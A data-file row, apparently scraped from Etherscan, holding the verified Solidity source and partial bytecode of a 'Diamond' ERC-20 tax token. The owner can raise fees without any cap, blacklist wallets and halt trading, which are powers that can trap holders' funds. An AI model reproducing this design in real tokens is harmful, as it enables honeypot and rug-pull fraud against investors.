82818161072957fe5b04949350505050565b600081158061074d5750508082028282828161074a57fe5b04145b6103bd576040805162461bcd60e51b815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fdfea264697066735822122003b69babcd290bb9f176f5bfa60ef1dd256a42ba94be425f30c8c8b451b3d60f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,133 |
0x0847D53f8310A8994c3A1B4Dba6Fb614A229DE3b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
/**
██████╗░██╗░█████╗░███╗░░░███╗░█████╗░███╗░░██╗██████╗░
██╔══██╗██║██╔══██╗████╗░████║██╔══██╗████╗░██║██╔══██╗
██║░░██║██║███████║██╔████╔██║██║░░██║██╔██╗██║██║░░██║
██║░░██║██║██╔══██║██║╚██╔╝██║██║░░██║██║╚████║██║░░██║
██████╔╝██║██║░░██║██║░╚═╝░██║╚█████╔╝██║░╚███║██████╔╝
╚═════╝░╚═╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚══╝╚═════╝░
Be a diamond hand or go home .
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Diamond is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Diamond";
string private constant _symbol = "Diamond";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x42e8471e06Ad4655518A36eD5EfFa4BD61cdB155);
address payable private _marketingAddress = payable(0x42e8471e06Ad4655518A36eD5EfFa4BD61cdB155);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d68565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e39565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e91565b61087b565b6040516102649190612eec565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f66565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f90565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fab565b6108ce565b6040516102f79190612eec565b60405180910390f35b34801561030c57600080fd5b506103156109a7565b6040516103229190612f90565b60405180910390f35b34801561033757600080fd5b506103406109ad565b60405161034d919061301a565b60405180910390f35b34801561036257600080fd5b5061036b6109b6565b6040516103789190613044565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061305f565b6109dc565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130b8565b610acc565b005b3480156103df57600080fd5b506103e8610b7e565b005b3480156103f657600080fd5b50610411600480360381019061040c919061305f565b610c4f565b60405161041e9190612f90565b60405180910390f35b34801561043357600080fd5b5061043c610ca0565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e5565b610df3565b005b34801561047357600080fd5b5061047c610e92565b6040516104899190612f90565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b4919061305f565b610e98565b6040516104c69190612f90565b60405180910390f35b3480156104db57600080fd5b506104e4610eb0565b6040516104f19190613044565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130b8565b610ed9565b005b34801561052f57600080fd5b50610538610f8b565b6040516105459190612f90565b60405180910390f35b34801561055a57600080fd5b50610563610f91565b6040516105709190612e39565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e5565b610fce565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613112565b61106d565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e91565b611124565b6040516105ff9190612eec565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a919061305f565b611142565b60405161063c9190612eec565b60405180910390f35b34801561065157600080fd5b5061065a611162565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d4565b61123b565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613234565b611375565b6040516106b99190612f90565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e5565b6113fc565b005b3480156106f757600080fd5b50610712600480360381019061070d919061305f565b61149b565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c0565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061333e565b9150506107ac565b5050565b60606040518060400160405280600781526020017f4469616d6f6e6400000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108db848484611830565b61099c846108e761165d565b61099785604051806060016040528060288152602001613d7f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094d61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b59092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906132c0565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b58906132c0565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf61165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c355750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1d61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b6000479050610c4c81612119565b50565b6000610c99600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612185565b9050919050565b610ca861165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c906132c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfb61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f906132c0565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee161165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f65906132c0565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f4469616d6f6e6400000000000000000000000000000000000000000000000000815250905090565b610fd661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a906132c0565b60405180910390fd5b8060188190555050565b61107561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906132c0565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113861113161165d565b8484611830565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a361165d565b73ffffffffffffffffffffffffffffffffffffffff1614806112195750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120161165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122257600080fd5b600061122d30610c4f565b9050611238816121f3565b50565b61124361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c7906132c0565b60405180910390fd5b60005b8383905081101561136f5781600560008686858181106112f6576112f56132e0565b5b905060200201602081019061130b919061305f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113679061333e565b9150506112d3565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611488906132c0565b60405180910390fd5b8060178190555050565b6114a361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611530576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611527906132c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133f9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061348b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c9061351d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118239190612f90565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611897906135af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190790613641565b60405180910390fd5b60008111611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906136d3565b60405180910390fd5b61195b610eb0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c95750611999610eb0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db457601560149054906101000a900460ff16611a58576119ea610eb0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613765565b60405180910390fd5b5b601654811115611a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a94906137d1565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b415750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7790613863565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2d5760175481611be284610c4f565b611bec9190613883565b10611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c239061394b565b60405180910390fd5b5b6000611c3830610c4f565b9050600060185482101590506016548210611c535760165491505b808015611c6b575060158054906101000a900460ff16155b8015611cc55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdd5750601560169054906101000a900460ff165b8015611d335750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d895750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db157611d97826121f3565b60004790506000811115611daf57611dae47612119565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1c57600090506120a3565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdf57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a257600a54600c81905550600b54600d819055505b5b6120af84848484612479565b50505050565b60008383111582906120fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f49190612e39565b60405180910390fd5b506000838561210c919061396b565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612181573d6000803e3d6000fd5b5050565b60006006548211156121cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c390613a11565b60405180910390fd5b60006121d66124a6565b90506121eb81846124d190919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222a57612229612bc7565b5b6040519080825280602002602001820160405280156122585781602001602082028036833780820191505090505b50905030816000815181106122705761226f6132e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff